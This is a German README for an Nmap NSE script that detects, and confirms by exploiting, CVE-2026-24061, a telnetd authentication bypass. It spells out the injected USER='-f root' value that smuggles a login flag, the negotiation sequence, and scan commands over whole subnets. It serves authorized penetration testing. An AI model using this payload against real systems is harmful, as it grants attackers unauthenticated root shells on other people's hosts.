
Das Skript führt eine vollständige Telnet-Aushandlung durch, die die exakte Byte-Sequenz einer echten Telnet-`-a`-Client-Sitzung nachbildet.
Dieses Nmap-NSE-Skript erkennt CVE-2026-24061, eine Authentifizierungsumgehungs-Schwachstelle in GNU InetUtils telnetd der Versionen 1.9.3 bis 2.7.
Durch das Senden einer manipulierten USER-Umgebungsvariable der Form -f <Benutzername> während
der Telnet-Optionsaushandlung kann ein nicht authentifizierter Angreifer eine Shell mit den
Rechten des angegebenen lokalen Benutzers erhalten — einschließlich — .
rootVerwendungszweck: Nur für autorisierte Penetrationstests und Schwachstellenbewertungen.
Die Ausführung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-24061 |
| Betroffen | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3-Wertung | 9.8 Kritisch |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Typ | Authentifizierungsumgehung (CWE-287) |
| Offenlegung | 2026-01-01 |
GNU InetUtils telnetd verwendet die Telnet-NEW-ENVIRON-Option (RFC 1572), um
Umgebungsvariablen vom Client während der Aushandlungsphase zu empfangen. Das
login(1)-Programm wird anschließend mit diesen Variablen aufgerufen.
Die Schwachstelle entsteht, weil telnetd die USER-Variable direkt an
login übergibt, ohne sie zu bereinigen. Das login-Programm unter Linux akzeptiert ein -f <Benutzer>-Flag
mit der Bedeutung „vorauthentifiziert, kein Passwort prüfen". Durch das Injizieren von
USER="-f root" über die NEW-ENVIRON-Nutzlast umgeht der Angreifer die Authentifizierung
vollständig.
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Serverantwort: startet login -f root → Root-Shell, kein Passwort erforderlich
| Feld | Wert |
|---|---|
| Dateiname | telnet-vuln-cve-2026-24061.nse |
| Kategorien | vuln, exploit, intrusive |
| Port | TCP/23 (telnet) |
| Getestet auf | Nmap 7.94 / 7.98, Windows & Linux |
Das Skript führt eine vollständige Telnet-Aushandlung durch, die die exakte Bytesequenz
einer echten telnet -a-Client-Sitzung nachbildet (rekonstruiert aus einem Wireshark-Mitschnitt):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <Benutzer>' in die NEW-ENVIRON-IS-NutzlastWILL ECHO / DO BINARY / WONT LINEMODE-SequenzErgebniszustände:
| Zustand | Bedeutung |
|---|---|
EXPLOIT | Shell-Eingabeaufforderung empfangen — Umgehung bestätigt |
LIKELY_VULN | ENV-Nutzlast akzeptiert, keine Passwortabfrage, aber keine Shell-Eingabeaufforderung |
NOT_VULN | Passwortabfrage gesehen, oder Aushandlung nicht abgeschlossen |
# In das Nmap-Skriptverzeichnis kopieren
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Skriptdatenbank aktualisieren
sudo nmap --script-updatedb
# In das Nmap-Skriptverzeichnis kopieren (Pfad bei Bedarf anpassen)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Skriptdatenbank aktualisieren (als Administrator ausführen)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <Ziel>
# Kurzform
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <Ziel>
# Mittlere Form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <Ziel>
# Vollständig qualifiziert
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <Ziel>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <Ziel> # ausführlich
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <Ziel> # Debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <Ziel> # vollständige Hex-Ablaufverfolgung
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentifizierungsumgehung
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| Der telnetd-Dienst in GNU InetUtils (1.9.3 - 2.7) ermöglicht
| eine Authentifizierungsumgehung über eine manipulierte USER-Umgebungsvariable.
| Das Senden von '-f <Benutzer>' führt zu einer nicht authentifizierten Login-Shell.
| Extra information:
| Authentifizierung umgangen: Shell-Eingabeaufforderung nach dem Injizieren von
| USER='-f root' empfangen -- keine Passwortabfrage wurde angezeigt.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(keine Skriptausgabe — NOT_VULN ist standardmäßig still, gemäß Nmap-Konvention)
| Argument | Alias(es) | Standard | Beschreibung |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Benutzername, der über -f injiziert werden soll |
GNU InetUtils telnetd verwendet die Linemode-Aushandlung (RFC 1184), um den
Terminal-E/A-Modus zu bestimmen. Der Server sendet DO LINEMODE früh in der Aushandlung, und der
Client antwortet zunächst mit WILL LINEMODE. Nach dem ENV-Nutzlast-Austausch sendet der Server
WILL ECHO gefolgt von DO BINARY. An diesem Punkt muss der Client
mit WONT LINEMODE antworten, um den Zeichen-für-Zeichen-Modus zu signalisieren — nur dann kann
telnetd die PTY-Einrichtung (ioctl TIOCSWINSZ) abschließen und login starten. Ohne diesen Schritt
protokolliert der Server peer died: Inappropriate ioctl for device und beendet die Verbindung.
Die NSE-Socket-API von Nmap unterscheidet sich von den Standard-Lua-Socket-Konventionen:
-- Nmap NSE (korrekt):
local status, data = sock:receive_bytes(1)
if status == true then -- data ist die empfangene Zeichenkette
Dieses Skript wird nur für autorisierte Sicherheitstests und Forschungszwecke bereitgestellt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Werkzeug verursacht werden. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.